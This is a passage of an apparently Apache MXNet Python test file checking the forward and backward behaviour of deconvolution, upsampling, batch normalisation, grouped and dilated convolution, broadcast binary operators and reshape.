exe.outputs[0].asnumpy() exe.backward(out_grad) assert_almost_equal(out + args_grad_addto_npy[0], args_grad_addto[0].asnumpy(), rtol=1e-4, atol=1e-3) def check_deconvolution_gradient(input_shape, num_filter, pad): """configure A: input --> conv --> output. configure B: input --> deconv --> output the convolution and deconvoluiton has similar parameter which ensure the input shape is the same as output; During backward(), if the input of A equals output of B, and the output of A equals input of B, then the grad of weight should be the same; """ ndim = len(pad) stride = (1,) * ndim kernel = tuple(2 * np.array(pad) + 1) data_conv = mx.sym.Variable(name="data_conv") conv = mx.sym.Convolution( data=data_conv, kernel=kernel, stride=stride, pad=pad, num_filter=num_filter, no_bias = "true", name = "conv") data_deconv = mx.sym.Variable(name="data_deconv") deconv = mx.sym.Deconvolution( data=data_deconv, kernel=kernel, stride=stride, pad=pad, num_filter=num_filter, no_bias = "true", name = "deconv") conv_data = mx.random.uniform(-5, 5, input_shape, ctx=mx.cpu()).copyto(default_context()) conv_args = {} conv_args["data_conv"] = conv_data conv_args['conv_weight'] = \ mx.random.normal(0, 1,(num_filter, input_shape[1]) + kernel, ctx=mx.cpu()).copyto(default_context()) conv_args_grad = [mx.nd.zeros(conv_data.shape), mx.nd.zeros((num_filter, input_shape[1]) + kernel)] exe_conv = conv.bind(default_context(), args=conv_args, args_grad=conv_args_grad) exe_conv.forward(is_train=True) conv_out_grad = mx.random.normal(0, 2, exe_conv.outputs[0].shape, ctx=mx.cpu()).copyto(default_context()) exe_conv.backward(conv_out_grad) deconv_data = conv_out_grad deconv_args = {} deconv_args['data_deconv'] = deconv_data deconv_args['deconv_weight'] = conv_args['conv_weight'] deconv_args_grad = [mx.nd.zeros(deconv_data.shape), mx.nd.zeros((num_filter, input_shape[1]) + kernel)] deconv_addto_args_grad_npy = [np.random.normal(size=deconv_data.shape), np.random.normal(size=(num_filter, input_shape[1]) + kernel)] deconv_addto_args_grad = [mx.nd.array(deconv_addto_args_grad_npy[0]), mx.nd.array(deconv_addto_args_grad_npy[1])] exe_deconv = deconv.bind(default_context(), args=deconv_args, args_grad=deconv_args_grad) exe_deconv.forward(is_train=True) deconv_out_grad = conv_data[:] exe_deconv.backward(deconv_out_grad) assert_almost_equal(conv_args_grad[1].asnumpy(), deconv_args_grad[1].asnumpy(), rtol=1e-3, atol=1e-2) # Test AddTo exe_deconv_addto = deconv.bind(default_context(), args=deconv_args, args_grad=deconv_addto_args_grad, grad_req="add") exe_deconv_addto.forward(is_train=True) deconv_out_grad = conv_data[:] exe_deconv_addto.backward(deconv_out_grad) assert_almost_equal(conv_args_grad[1].asnumpy() + deconv_addto_args_grad_npy[1], deconv_addto_args_grad[1].asnumpy(), rtol=1e-3, atol=1e-2) def check_deconvolution_target_shape(input_shape, kernel, stride, pad, adj, target_shape=None): data = mx.sym.Variable(name="data") if target_shape: deconv = mx.sym.Deconvolution( data=data, kernel=kernel, stride=stride, pad=pad, adj=adj, num_filter=5, target_shape = target_shape) else: deconv = mx.sym.Deconvolution( data=data, kernel=kernel, stride=stride, pad=pad, adj=adj, num_filter=5) arg_names = deconv.list_arguments() arg_shapes, out_shapes, _ = deconv.infer_shape(data=input_shape) default_target_size = 8 if target_shape is None: target_shape = (default_target_size,) * len(kernel) assert out_shapes[0] == (input_shape[0], 5) + target_shape @with_seed() def test_deconvolution(): # 2D check_deconvolution_target_shape( input_shape = (2,3,4,4), kernel = (3,3), stride = (2,2), target_shape = (8,8), pad = (99,99), # will be ignored adj = (101,101), # will be ignored ) check_deconvolution_target_shape( input_shape = (2,3,4,4), kernel = (3,3), stride = (2,2), pad = (1,1), adj = (1,1), ) check_deconvolution_forward_backward( input_shape = (1,1,5,5), num_filter = 1, kernel = (3,3), stride = (1,1), pad = (1,1) ) check_deconvolution_forward_backward( input_shape = (32,3,28,28), num_filter = 3, kernel = (3,3), stride = (1,1), pad = (1,1) ) check_deconvolution_forward_backward( input_shape = (10, 3, 403, 403), num_filter = 3, kernel = (7,7), stride = (5,5), pad = (2,2) ) check_deconvolution_gradient( input_shape = (1,3,5,5), num_filter = 3, pad = (1,1) ) check_deconvolution_gradient( input_shape = (5,3,100,100), num_filter = 3, pad = (3,3) ) # 1D check_deconvolution_target_shape( input_shape = (2,3,4), kernel = (3,), stride = (2,), target_shape = (8,), pad = (99,), # will be ignored adj = (101,), # will be ignored ) check_deconvolution_target_shape( input_shape = (2,3,4), kernel = (3,), stride = (2,), pad = (1,), adj = (1,), ) check_deconvolution_forward_backward( input_shape = (1,1,5), num_filter = 1, kernel = (3,), stride = (1,), pad = (1,) ) check_deconvolution_forward_backward( input_shape = (32,3,28), num_filter = 3, kernel = (3,), stride = (1,), pad = (1,) ) check_deconvolution_forward_backward( input_shape = (10, 3, 403), num_filter = 3, kernel = (7,), stride = (5,), pad = (2,) ) check_deconvolution_gradient( input_shape = (1,3,5), num_filter = 3, pad = (1,) ) check_deconvolution_gradient( input_shape = (5,3,100), num_filter = 3, pad = (3,) ) def check_nearest_upsampling_with_shape(shapes, scale, root_scale): arr = {'arg_%d'%i: mx.random.uniform(-10.0, 10.0, shape, ctx=mx.cpu()).copyto(default_context()) for i, shape in zip(range(len(shapes)), shapes)} arr_grad = {'arg_%d'%i: mx.nd.zeros(shape) for i, shape in zip(range(len(shapes)), shapes)} up = mx.sym.UpSampling(*[mx.sym.Variable('arg_%d'%i) for i in range(len(shapes))], sample_type='nearest', scale=root_scale) exe = up.bind(default_context(), args=arr, args_grad=arr_grad) exe.forward(is_train=True) exe.backward(exe.outputs) for k in range(len(shapes)): name = 'arg_%d'%k assert_allclose(arr[name].asnumpy()*root_scale**2*scale**(2*k), arr_grad[name].asnumpy(), rtol=1e-4) def check_bilinear_upsampling_with_shape(shapes, scale, root_scale): arr = {'arg_%d'%i: mx.random.uniform(-10.0, 10.0, shape, ctx=mx.cpu()).copyto(default_context()) for i, shape in zip(range(len(shapes)), shapes)} arr_grad = {'arg_%d'%i: mx.nd.zeros(shape) for i, shape in zip(range(len(shapes)), shapes)} up = mx.sym.UpSampling(*[mx.sym.Variable('arg_%d'%i) for i in range(len(shapes))], sample_type='bilinear', scale=root_scale) exe = up.bind(default_context(), args=arr, args_grad=arr_grad) exe.forward(is_train=True) exe.backward(exe.outputs) for k in range(len(shapes)): name = 'arg_%d'%k assert_allclose(arr[name].asnumpy()*root_scale**2*scale**(2*k), arr_grad[name].asnumpy(), rtol=1e-4) @with_seed() def test_nearest_upsampling(): for root_scale in [1,2,3]: for scale in [1,2,3]: for num_shape in [1,2,3]: for base in [1,2,3]: shapes = [(1,3,base*root_scale*scale**(num_shape-1-i),base*root_scale*scale**(num_shape-1-i)) for i in range(num_shape)] check_nearest_upsampling_with_shape(shapes, scale, root_scale) @unittest.skip("test fails intermittently. temporarily disabled till it gets fixed. tracked at https://github.com/apache/incubator-mxnet/issues/8044") @with_seed() def test_batchnorm_training(): def check_batchnorm_training(stype): for shape in [(2, 3), (2, 3, 2, 2)]: data_tmp = np.random.normal(-0.1, 0.1, size=shape) s = shape[1], gamma = np.ones(s) beta = np.ones(s) gamma[1] = 3 beta[0] = 3 rolling_mean = np.random.uniform(size=s) rolling_std = np.random.uniform(size=s) data = mx.symbol.Variable('data', stype=stype) in_location = [mx.nd.array(data_tmp).tostype(stype), mx.nd.array(gamma).tostype(stype), mx.nd.array(beta).tostype(stype)] mean_std = [mx.nd.array(rolling_mean).tostype(stype), mx.nd.array(rolling_std).tostype(stype)] test = mx.symbol.BatchNorm_v1(data, fix_gamma=True) check_numeric_gradient(test, in_location, mean_std, numeric_eps=1e-2, rtol=0.16, atol=1e-4) test = mx.symbol.BatchNorm(data, fix_gamma=True) check_numeric_gradient(test, in_location, mean_std, numeric_eps=1e-2, rtol=0.16, atol=1e-4) test = mx.symbol.BatchNorm_v1(data, fix_gamma=True, use_global_stats=True) check_numeric_gradient(test, in_location, mean_std, numeric_eps=1e-2, rtol=0.16, atol=1e-4) test = mx.symbol.BatchNorm(data, fix_gamma=True, use_global_stats=True) check_numeric_gradient(test, in_location, mean_std, numeric_eps=1e-2, rtol=0.16, atol=1e-4) test = mx.symbol.BatchNorm_v1(data, fix_gamma=False) check_numeric_gradient(test, in_location, mean_std, numeric_eps=1e-2, rtol=0.16, atol=1e-4) test = mx.symbol.BatchNorm(data, fix_gamma=False) check_numeric_gradient(test, in_location, mean_std, numeric_eps=1e-2, rtol=0.16, atol=1e-4) test = mx.symbol.BatchNorm_v1(data, fix_gamma=False, use_global_stats=True) check_numeric_gradient(test, in_location, mean_std, numeric_eps=1e-2, rtol=0.16, atol=1e-4) test = mx.symbol.BatchNorm(data, fix_gamma=False, use_global_stats=True) check_numeric_gradient(test, in_location, mean_std, numeric_eps=1e-2, rtol=0.16, atol=1e-4) # Test varying channel axis dim = len(shape) for chaxis in range(-dim, dim): chaxis_true = chaxis if chaxis < 0: chaxis_true = dim + chaxis shapex = shape channel_count = shapex[chaxis_true] data_tmp = np.random.normal(-0.1, 0.1, size=shapex) gamma = np.ones(channel_count) beta = np.ones(channel_count) if channel_count > 1: gamma[1] = 3 beta[0] = 3 in_location = [mx.nd.array(data_tmp).tostype(stype), mx.nd.array(gamma).tostype(stype), mx.nd.array(beta).tostype(stype)] xrolling_mean = np.random.uniform(size=channel_count) xrolling_std = np.random.uniform(size=channel_count) xmean_std = [mx.nd.array(xrolling_mean).tostype(stype), mx.nd.array(xrolling_std).tostype(stype)] test = mx.symbol.BatchNorm(data, fix_gamma=True, axis=chaxis) check_numeric_gradient(test, in_location, xmean_std, numeric_eps=1e-2, rtol=0.2, atol=0.01) test = mx.symbol.BatchNorm(data, fix_gamma=True, use_global_stats=True, axis=chaxis) check_numeric_gradient(test, in_location, xmean_std, numeric_eps=1e-2, rtol=0.2, atol=0.01) test = mx.symbol.BatchNorm(data, fix_gamma=False, axis=chaxis) check_numeric_gradient(test, in_location, xmean_std, numeric_eps=1e-2, rtol=0.2, atol=0.01) test = mx.symbol.BatchNorm(data, fix_gamma=False, use_global_stats=True, axis=chaxis) check_numeric_gradient(test, in_location, xmean_std, numeric_eps=1e-2, rtol=0.2, atol=0.01) stypes = ['row_sparse', 'default'] for stype in stypes: check_batchnorm_training(stype) @with_seed() def test_convolution_grouping(): for dim in [1, 2, 3]: num_filter = 4 num_group = 2 kernel = (3,) * dim shape = (1, 4) + (9,) * dim x = mx.sym.Variable('x') w = mx.sym.Variable('w') b = mx.sym.Variable('b') y1 = mx.sym.Convolution(data=x, weight=w, bias=b, num_filter=num_filter, num_group=num_group, kernel=kernel) xslice = mx.sym.SliceChannel(data=x, num_outputs=num_group, axis=1) wslice = mx.sym.SliceChannel(data=w, num_outputs=num_group, axis=0) bslice = mx.sym.SliceChannel(data=b, num_outputs=num_group, axis=0) y2 = mx.sym.Concat(*[mx.sym.Convolution(data=xslice[i], weight=wslice[i], bias=bslice[i], num_filter=num_filter//num_group, kernel=kernel) for i in range(num_group)]) exe1 = y1.simple_bind(default_context(), x=shape) exe2 = y2.simple_bind(default_context(), x=shape, w=(num_filter, shape[1]//num_group) + kernel, b=(num_filter,)) for arr1, arr2 in zip(exe1.arg_arrays, exe2.arg_arrays): arr1[:] = np.random.normal(size=arr1.shape) arr2[:] = arr1 exe1.forward(is_train=True) exe1.backward(exe1.outputs[0]) exe2.forward(is_train=True) exe2.backward(exe2.outputs[0]) for arr1, arr2 in zip(exe1.outputs + exe1.grad_arrays, exe2.outputs + exe2.grad_arrays): np.testing.assert_allclose(arr1.asnumpy(), arr2.asnumpy(), rtol=1e-3, atol=1e-4) @with_seed() def test_depthwise_convolution(): for dim in [1,2]: for num_base in [1, 4, 16, 32, 64]: for kernel_x in [3, 5]: for stride_x in [1, 2]: for pad_x in [0, 1]: for in_size in [7, 32]: kernel = (kernel_x,) * dim stride = (stride_x,) * dim pad = (pad_x,) * dim num_filter = num_base num_group = num_base shape = (2, num_base) + (in_size,) * dim x = mx.sym.Variable('x') w = mx.sym.Variable('w') b = mx.sym.Variable('b') y1 = mx.sym.Convolution(data=x, weight=w, bias=b, num_filter=num_filter, num_group=num_group, kernel=kernel, stride=stride, pad=pad) xslice = mx.sym.SliceChannel(data=x, num_outputs=num_group, axis=1) wslice = mx.sym.SliceChannel(data=w, num_outputs=num_group, axis=0) bslice = mx.sym.SliceChannel(data=b, num_outputs=num_group, axis=0) y2 = mx.sym.Concat(*[mx.sym.Convolution(data=xslice[i], weight=wslice[i], bias=bslice[i], num_filter=num_filter//num_group, kernel=kernel, stride=stride, pad=pad) for i in range(num_group)]) dev = default_context() exe1 = y1.simple_bind(dev, x=shape) exe2 = y2.simple_bind(mx.cpu(), x=shape, w=(num_filter, shape[1]//num_group)+kernel, b=(num_filter,)) for arr1, arr2 in zip(exe1.arg_arrays, exe2.arg_arrays): arr1[:] = np.random.normal(size=arr1.shape) arr2[:] = arr1 exe1.forward(is_train=True) exe1.backward(exe1.outputs[0]) exe2.forward(is_train=True) exe2.backward(exe2.outputs[0]) for arr1, arr2 in zip(exe1.outputs + exe1.grad_arrays, exe2.outputs + exe2.grad_arrays): np.testing.assert_allclose(arr1.asnumpy(), arr2.asnumpy(), rtol=1e-3, atol=1e-3) def gen_broadcast_data(idx): # Manually set test cases binary_op_data_shape = np.array( [[[2, 5, 1, 30, 7], [1, 5, 448, 30, 1]], [[10, 49, 1, 77, 17], [10, 1, 2, 1, 17]], [[13, 2, 65, 2, 1], [13, 1, 65, 1, 225]], [[9, 434, 4, 2, 37], [9, 1, 4, 1, 37]], [[2, 52, 1, 4, 1], [1, 52, 60, 1, 37]], [[1, 23, 7, 122, 50], [2, 1, 7, 1, 50]], [[1, 17, 1, 5, 1], [22, 1, 2, 1, 28]], [[29, 1, 2, 1, 8], [29, 22, 1, 130, 1]], [[2, 36, 1, 427, 3], [1, 36, 11, 427, 1]], [[1, 2, 1, 100, 7], [1, 2, 448, 100, 1]], [[1, 2, 495, 77, 7], [1, 2, 1, 1, 7]], [[1, 43, 65, 2, 1], [1, 43, 65, 1, 225]], [[1, 92, 434, 2, 2], [1, 92, 1, 2, 2]], [[1, 92, 1, 4, 1], [1, 92, 134, 1, 17]], [[1, 53, 2, 122, 143], [1, 1, 2, 1, 143]], [[1, 179, 1, 87, 17], [1, 179, 1, 1, 17]], [[1, 1, 17, 5, 1], [1, 22, 1, 1, 28]], [[1, 2, 1, 1, 8], [1, 2, 52, 430, 1]], [[1, 163, 1, 22, 3], [1, 163, 116, 22, 1]], [[1, 1, 44, 30, 7], [1, 1, 44, 30, 1]], [[1, 1, 1, 1, 28], [1, 127, 1, 5, 28]], [[1, 2, 394, 38, 1], [1, 2, 394, 38, 16]], [[1, 10, 49, 77, 17], [1, 1, 1, 1, 17]], [[1, 431, 6, 2, 225], [1, 1, 6, 2, 225]], [[1, 15, 1, 28, 1], [1, 15, 1, 28, 463]], [[1, 129, 2, 48, 96], [1, 129, 2, 1, 1]], [[1, 1, 403, 17, 2], [1, 44, 403, 17, 2]], [[1, 1, 65, 2, 22], [1, 1, 65, 1, 1]], [[1, 24, 103, 17, 18], [1, 24, 1, 1, 1]], [[1, 1, 1, 1, 2], [1, 24, 194, 50, 1]], [[1, 1, 107, 84, 9], [1, 1, 1, 1, 1]]]) if idx < binary_op_data_shape.shape[0]: l_shape = binary_op_data_shape[idx][0] r_shape = binary_op_data_shape[idx][1] else: # Generate random data that has ndim between 1-7 and all the shape dims between 1-5 ndim = np.random.randint(1, 6) shape = np.random.randint(1, 6, size=(ndim,)) l_same_dim = np.random.randint(0, 5) r_same_dim = np.random.randint(0, 5) l_axis_flags = np.random.randint(0, 2, size=ndim) r_axis_flags = np.random.randint(0, 2, size=ndim) if l_same_dim == 4: l_axis_flags = np.ones(ndim) if r_same_dim == 4: r_axis_flags = np.ones(ndim) l_shape = shape.copy() r_shape = shape.copy() l_shape[np.where(l_axis_flags == 0)] = 1 r_shape[np.where(r_axis_flags == 0)] = 1 return [np.random.random(l_shape), np.random.random(r_shape)] def gen_broadcast_data_int(idx): d = gen_broadcast_data(idx); return [np.round(d[0]*100).astype(int), np.round(d[1]*100).astype(int)] def gen_binary_data(dummy): ndim = np.random.randint(1, 6) shape = np.random.randint(1, 6, size=(ndim,)) return [np.random.random(shape), np.random.random(shape)] def gen_binary_data_int(dummy): d = gen_binary_data(dummy); return [np.round(d[0]*100).astype(int), np.round(d[1]*100).astype(int)] def check_binary_op_forward(symbol, baseline, gen_data, rtol=1e-3, atol=1e-5, mx_nd_func=None): sample_num = 200 for i in range(sample_num): d = gen_data(i) x = baseline(d[0], d[1]) y = symbol.bind(default_context(), args={'a': mx.nd.array(d[0]), 'b': mx.nd.array(d[1])}) y.forward(is_train=True) y = y.outputs[0].asnumpy() if mx_nd_func is not None: d0 = mx.nd.array(d[0], dtype=d[0].dtype) d1 = mx.nd.array(d[1], dtype=d[1].dtype) assert_almost_equal(y, mx_nd_func(d0, d1).asnumpy(), rtol=rtol, atol=atol) idx = np.abs(x-y) > atol+rtol*np.abs(x) if idx.any(): print('found precision problem') d[0] = np.broadcast_to(d[0], x.shape) d[1] = np.broadcast_to(d[1], x.shape) print('a: {}'.format(d[0][idx])) print('b: {}'.format(d[1][idx])) import struct print('a hex: {}'.format(struct.pack('d', d[0][idx]).encode('hex'))) print('b hex: {}'.format(struct.pack('d', np.broadcast_to(d[1], x.shape)[idx]).encode('hex'))) print('in baseline(a, b): {}'.format(x[idx])) print('in symbol(a, b): {}'.format(y[idx])) print('diff: {}'.format(np.abs(x-y)[idx] - atol-rtol*np.abs(x)[idx])) assert_allclose(y, x, rtol=rtol, atol=atol) def check_binary_op_backward(symbol, baseline, gen_data, rtol=1e-3, atol=1e-5): sample_num = 200 for i in range(sample_num): d = gen_data(i) out = np.random.random((d[0] + d[1]).shape) def reduce_op(shape, x): if shape == x.shape: return x keepdims_shape = list(x.shape) for i in range(len(shape)): if x.shape[i] != shape[i]: keepdims_shape[i] = 1 x = np.sum(x, axis=i).reshape(keepdims_shape) return x baseline_grad1, baseline_grad2 = baseline(out, d[0], d[1]) x_1 = reduce_op(d[0].shape, baseline_grad1) x_2 = reduce_op(d[1].shape, baseline_grad2) y_1 = mx.nd.empty(d[0].shape) y_2 = mx.nd.empty(d[1].shape) y = symbol.bind(default_context(), args={'a': mx.nd.array(d[0]), 'b': mx.nd.array(d[1])}, args_grad=[y_1, y_2]) y.forward(is_train=True) y.backward([mx.nd.array(out)]) assert_allclose(y_1.asnumpy(), x_1, rtol=rtol, atol=atol) assert_allclose(y_2.asnumpy(), x_2, rtol=rtol, atol=atol) @with_seed() def test_binary_op(): a = mx.sym.Variable('a') b = mx.sym.Variable('b') def test_bplus(a, b): c = a + b check_binary_op_forward(c, lambda a, b: a + b, gen_binary_data) check_binary_op_backward(c, lambda g_out, a, b: (g_out, g_out), gen_binary_data) def test_bminus(a, b): c = a - b check_binary_op_forward(c, lambda a, b: a - b, gen_binary_data) check_binary_op_backward(c, lambda g_out, a, b: (g_out, - g_out), gen_binary_data) def test_bmul(a, b): c = a * b check_binary_op_forward(c, lambda a, b: a * b, gen_binary_data) check_binary_op_backward(c, lambda g_out, a, b: (g_out * b, g_out * a), gen_binary_data) def test_bdiv(a, b): c = a / b check_binary_op_forward(c, lambda a, b: a / b, gen_binary_data) check_binary_op_backward(c, lambda g_out, a, b: (g_out / b, - g_out * a / (b * b)), gen_binary_data) def test_bmod(a, b): c = a % b # '%' is sensitive to the precision of the calculation. Force numpy to match mxnet's float32. # Issue exposed with seed 1768433044 check_binary_op_forward(c, lambda a, b: np.float32(a) % np.float32(b), gen_binary_data) check_binary_op_backward(c, lambda g_out, a, b: (g_out, - g_out * (np.float32(a) // np.float32(b))), gen_binary_data) def test_bmod_int(a, b): c = mx.sym.cast(a, dtype='int32') % mx.sym.cast(b, dtype='int32') check_binary_op_forward(c, lambda a, b: a % b, gen_binary_data_int) check_binary_op_backward(c, lambda g_out, a, b: (np.zeros_like(a), np.zeros_like(b)), gen_binary_data_int) def test_bpow(a, b): c = a ** b check_binary_op_forward(c, lambda a, b: a ** b, gen_binary_data) check_binary_op_backward(c, lambda g_out, a, b: (g_out * a **(b - 1) * b, g_out * a ** b * np.log(a)), gen_binary_data) def test_bneq(a, b): c = a != b # '!=' is sensitive to the precision of the comparison. Force numpy to match mxnet's float32. # Issue exposed with seed 1644387363 check_binary_op_forward(c, lambda a, b: (np.float32(a) != np.float32(b)).astype(a.dtype), gen_binary_data) check_binary_op_backward(c, lambda g_out, a, b: (np.zeros_like(a), np.zeros_like(b)), gen_binary_data) test_bplus(a, b) test_bminus(a, b) test_bmul(a, b) test_bdiv(a, b) test_bmod(a, b) test_bmod_int(a, b) test_bpow(a, b) test_bneq(a, b) @with_seed() def test_broadcast_binary_op(): def check_bmaxmin_gradient(test_sym, x, y, delta, rtol, atol): """This function ensures that checking the numerical gradient of broadcast_max/min is not crossing the boundary y=x where there is no gradient definition at those sigularities.""" x_max = np.max(x) y = x_max + 2 * delta + np.random.random(y.shape) check_numeric_gradient(test_sym, [x, y], numeric_eps=delta, rtol=rtol, atol=atol) x_min = np.min(x) y = x_min - 2 * delta - np.random.random(y.shape) check_numeric_gradient(test_sym, [x, y], numeric_eps=delta, rtol=rtol, atol=atol) a = mx.sym.Variable('a') b = mx.sym.Variable('b') def test_bplus(a, b): c = mx.sym.broadcast_plus(a, b) check_binary_op_forward(c, lambda a, b: a + b, gen_broadcast_data, mx_nd_func=mx.nd.add) check_binary_op_backward(c, lambda g_out, a, b: (g_out, g_out), gen_broadcast_data) def test_bminus(a, b): c = mx.sym.broadcast_minus(a, b) check_binary_op_forward(c, lambda a, b: a - b, gen_broadcast_data, mx_nd_func=mx.nd.subtract) check_binary_op_backward(c, lambda g_out, a, b: (g_out, - g_out), gen_broadcast_data) def test_bmul(a, b): c = mx.sym.broadcast_mul(a, b) check_binary_op_forward(c, lambda a, b: a * b, gen_broadcast_data, mx_nd_func=mx.nd.multiply) check_binary_op_backward(c, lambda g_out, a, b: (g_out * b, g_out * a), gen_broadcast_data) def test_bdiv(a, b): c = mx.sym.broadcast_div(a, b) check_binary_op_forward(c, lambda a, b: a / b, gen_broadcast_data, mx_nd_func=mx.nd.divide) check_binary_op_backward(c, lambda g_out, a, b: (g_out / b, - g_out * a / (b * b)), gen_broadcast_data) def test_bmod(a, b): c = mx.sym.broadcast_mod(a, b) check_binary_op_forward(c, lambda a, b: a % b, gen_broadcast_data, atol=1, mx_nd_func=mx.nd.modulo) check_binary_op_backward(c, lambda g_out, a, b: (g_out, - g_out * (a // b)), gen_broadcast_data, atol=1) def test_bmod_int(a, b): c = mx.sym.broadcast_mod(mx.sym.cast(a, dtype='int32'), mx.sym.cast(b, dtype='int32')) check_binary_op_forward(c, lambda a, b: a % b, gen_broadcast_data_int, mx_nd_func=mx.nd.modulo) check_binary_op_backward(c, lambda g_out, a, b: (np.zeros_like(a), np.zeros_like(b)), gen_broadcast_data_int) def test_bpow(a, b): c = mx.sym.broadcast_power(a, b) check_binary_op_forward(c, lambda a, b: a ** b, gen_broadcast_data, mx_nd_func=mx.nd.power) check_binary_op_backward(c, lambda g_out, a, b: (g_out * a **(b - 1) * b, g_out * a ** b * np.log(a)), gen_broadcast_data) def test_bequal(a, b): c = mx.sym.broadcast_equal(a, b) check_binary_op_forward(c, lambda a, b: (a == b).astype(a.dtype), gen_broadcast_data_int, mx_nd_func=mx.nd.equal) check_binary_op_backward(c, lambda g_out, a, b: (np.zeros_like(a), np.zeros_like(b)), gen_broadcast_data_int) def test_bmax(a, b): c = mx.sym.broadcast_maximum(a, b) check_binary_op_forward(c, lambda x, y: np.maximum(x, y), gen_broadcast_data, mx_nd_func=mx.nd.maximum) # pass idx=200 to gen_broadcast_data so that generated ndarrays' sizes are not too big data = gen_broadcast_data(idx=200) check_bmaxmin_gradient(c, data[0], data[1], 0.001, 1e-2, 1e-3) def test_bmin(a, b): c = mx.sym.broadcast_minimum(a, b) check_binary_op_forward(c, lambda x, y: np.minimum(x, y), gen_broadcast_data, mx_nd_func=mx.nd.minimum) # pass idx=200 to gen_broadcast_data so that generated ndarrays' sizes are not too big data = gen_broadcast_data(idx=200) check_bmaxmin_gradient(c, data[0], data[1], 0.001, 1e-2, 1e-3) test_bplus(a, b) test_bminus(a, b) test_bmul(a, b) test_bdiv(a, b) test_bmod(a, b) test_bmod_int(a, b) test_bpow(a, b) test_bequal(a, b) test_bmax(a, b) test_bmin(a, b) @with_seed() def test_run_convolution_dilated_impulse_response(dil=(1,1), kernel_shape=(3,3), verbose=False): dim = len(dil) assert(len(kernel_shape) == dim) # Input for spike response data_size = 33 data_shape = (1, 1) + (data_size,) * dim center = (0,0) + (data_size // 2,) * dim spike_imgs = np.zeros(shape=data_shape, dtype=np.float32) spike_imgs[center] = 1.0 spike_img = mx.nd.array(spike_imgs) spike_img2 = mx.nd.array(spike_imgs) kernel_weights = mx.nd.ones(shape=tuple([1,1]+list(kernel_shape)), dtype=np.float32) kernel_weights2 = mx.nd.ones(shape=tuple([1,1]+list(kernel_shape)), dtype=np.float32) kernel = mx.symbol.Variable('kernel') in_img = mx.symbol.Variable('input') net = mx.symbol.Convolution(in_img, num_filter=1,kernel=kernel_shape, dilate=dil, no_bias="true", name='test_convolution') net.list_arguments() be = net.bind(default_context(), args={ 'input' : spike_img, 'test_convolution_weight' : kernel_weights}, args_grad={'input' : spike_img2, 'test_convolution_weight' : kernel_weights2 } ) be.forward(True) out_o = be.outputs[0].asnumpy() ndo = be.outputs[0] out_grads = np.zeros(shape=be.outputs[0].shape, dtype=np.float32) out_grads[center] = 1.0 out_grad = mx.nd.array(out_grads) be.backward([out_grad]) vgrad = be.grad_arrays[0].asnumpy() out = out_o.reshape(out_o.shape[2:]) nz_loc = np.nonzero(out) assert_allclose(np.sum(out),np.prod(kernel_shape),atol=1e-5) assert_allclose(np.sum(vgrad),np.prod(kernel_shape),atol=1e-5) # Now check whether the input gradient was computed correctly input_grad = mx.nd.array(vgrad) be = net.bind(default_context(), args={ 'input' : input_grad, 'test_convolution_weight' : kernel_weights}) be.forward(True) out_o = be.outputs[0].asnumpy() assert_allclose(out_o[center],np.prod(kernel_shape),atol=1e-5) rnd_kernel_s = np.random.uniform(low=0.0, high=1.0, size=tuple([1,1]+list(kernel_shape))).astype(np.float32) impulse_error = mx.nd.array(out_o/np.sum(out_o)) # This should be 1.0 at [0,0,16,16] rnd_kernel = mx.nd.array(rnd_kernel_s) rnd_kernel2 = mx.nd.array(rnd_kernel_s) white_in = mx.nd.ones(shape=data_shape) white_in2 = mx.nd.ones(shape=data_shape) be = net.bind(default_context(), args={ 'input' : white_in, 'test_convolution_weight' : rnd_kernel}, args_grad={'input' : white_in2, 'test_convolution_weight' : rnd_kernel2 } ) be.forward(True) be.backward([impulse_error]) out_orig = be.outputs[0].asnumpy() kernel_gradient = be.grad_arrays[1].asnumpy() dkernel = mx.nd.array(rnd_kernel_s + kernel_gradient) be = net.bind(default_context(), args={ 'input' : white_in, 'test_convolution_weight' : dkernel}) be.forward(True) out = be.outputs[0].asnumpy() # Now do a simple check of the kernel gradient assert(out[center] - np.sum(kernel_gradient) - out_orig[center] < 0.001) @with_seed() def test_convolution_dilated_impulse_response(): # 1D for dil in [ (1,), (2,), (3,) ]: for ks in [ (1,), (2,), (3,), (4,)]: test_run_convolution_dilated_impulse_response(dil=dil, kernel_shape=ks) # 2D for dil in [ (1,1), (2,2), (3,3) ]: for ks in [ (3,3), (4,4), (2,3), (3,2), (1,1) ]: test_run_convolution_dilated_impulse_response(dil=dil, kernel_shape=ks) @with_seed() def test_reshape(): def test_reshape_new(src_shape, shape_args, reverse, dst_shape): net = mx.sym.Variable("data") net = mx.sym.Reshape(net, shape=shape_args, reverse=reverse) js = net.tojson() net = mx.sym.load_json(js) _, output_shape, __ = net.infer_shape(data=src_shape) assert output_shape[0] == dst_shape, \ 'Src Shape = %s, Shape Arguments = %s, Reverse = %s, Dst Shape = %s, ' \ 'Output Shape = %s' %(str(src_shape), str(shape_args), str(reverse), str(dst_shape), str(output_shape[0])) dat_npy = np.random.rand(*src_shape) grad_npy = np.random.rand(*dst_shape) exe = net.simple_bind(default_context(), data=src_shape) exe.arg_dict['data'][:] = dat_npy exe.forward(is_train=True) assert np.square(exe.outputs[0].asnumpy() - dat_npy.reshape(dst_shape)).mean() < 1E-7, \ 'Src Shape = %s, Shape Arguments = %s, Reverse = %s, Dst Shape = %s'\ %(str(src_shape), str(shape_args), str(reverse), str(dst_shape)) exe.backward(out_grads=mx.nd.array(grad_npy)) assert np.square(exe.grad_dict['data'].asnumpy() - grad_npy.reshape(src_shape)).mean() < 1E-7, \ 'Src Shape = %s, Shape Arguments = %s, Reverse = %s, Dst Shape = %s'\ %(str(src_shape), str(shape_args), str(reverse), str(dst_shape)) # Test new api (Using shape) test_cases = [ [(2, 3, 5, 5), (0, -1), False, (2, 75)], [(2, 3, 5, 5), (0, 0, -1), False, (2, 3, 25)], [(5, 3, 4, 5), (0, -1, 0), False, (5, 15, 4)], [(2, 3, 5, 4), (-1, 0, 0), False, (8, 3, 5)], [(2, 3, 5, 5), (0, 0, 0, 0), False, (2, 3, 5, 5)], [(2, 4, 5, 3), (-1, 2, 2, 1), False, (30, 2, 2, 1)], [(2, 3, 5, 6), (-2,), False, (2, 3, 5, 6)], [(2, 3, 5, 6), (6, 1, -2), False, (6, 1, 5, 6)], [(2, 3, 5, 6), (-3, -3), False, (6, 30)], [(2, 3, 5, 6), (-3, -1), False, (6, 30)], [(64,), (-4, 16, 4), False, (16, 4)], [(64,), (-4, 16, -1), False, (16, 4)], [(64, 1, 2, 3), (-4, 16, -1, -2), False, (16, 4, 1, 2, 3)], [(2, 3, 5, 5), (0, -1), True, (5, 30)], [(2, 3, 5, 5), (0, 0, -1), True, (3, 5, 10)], [(5, 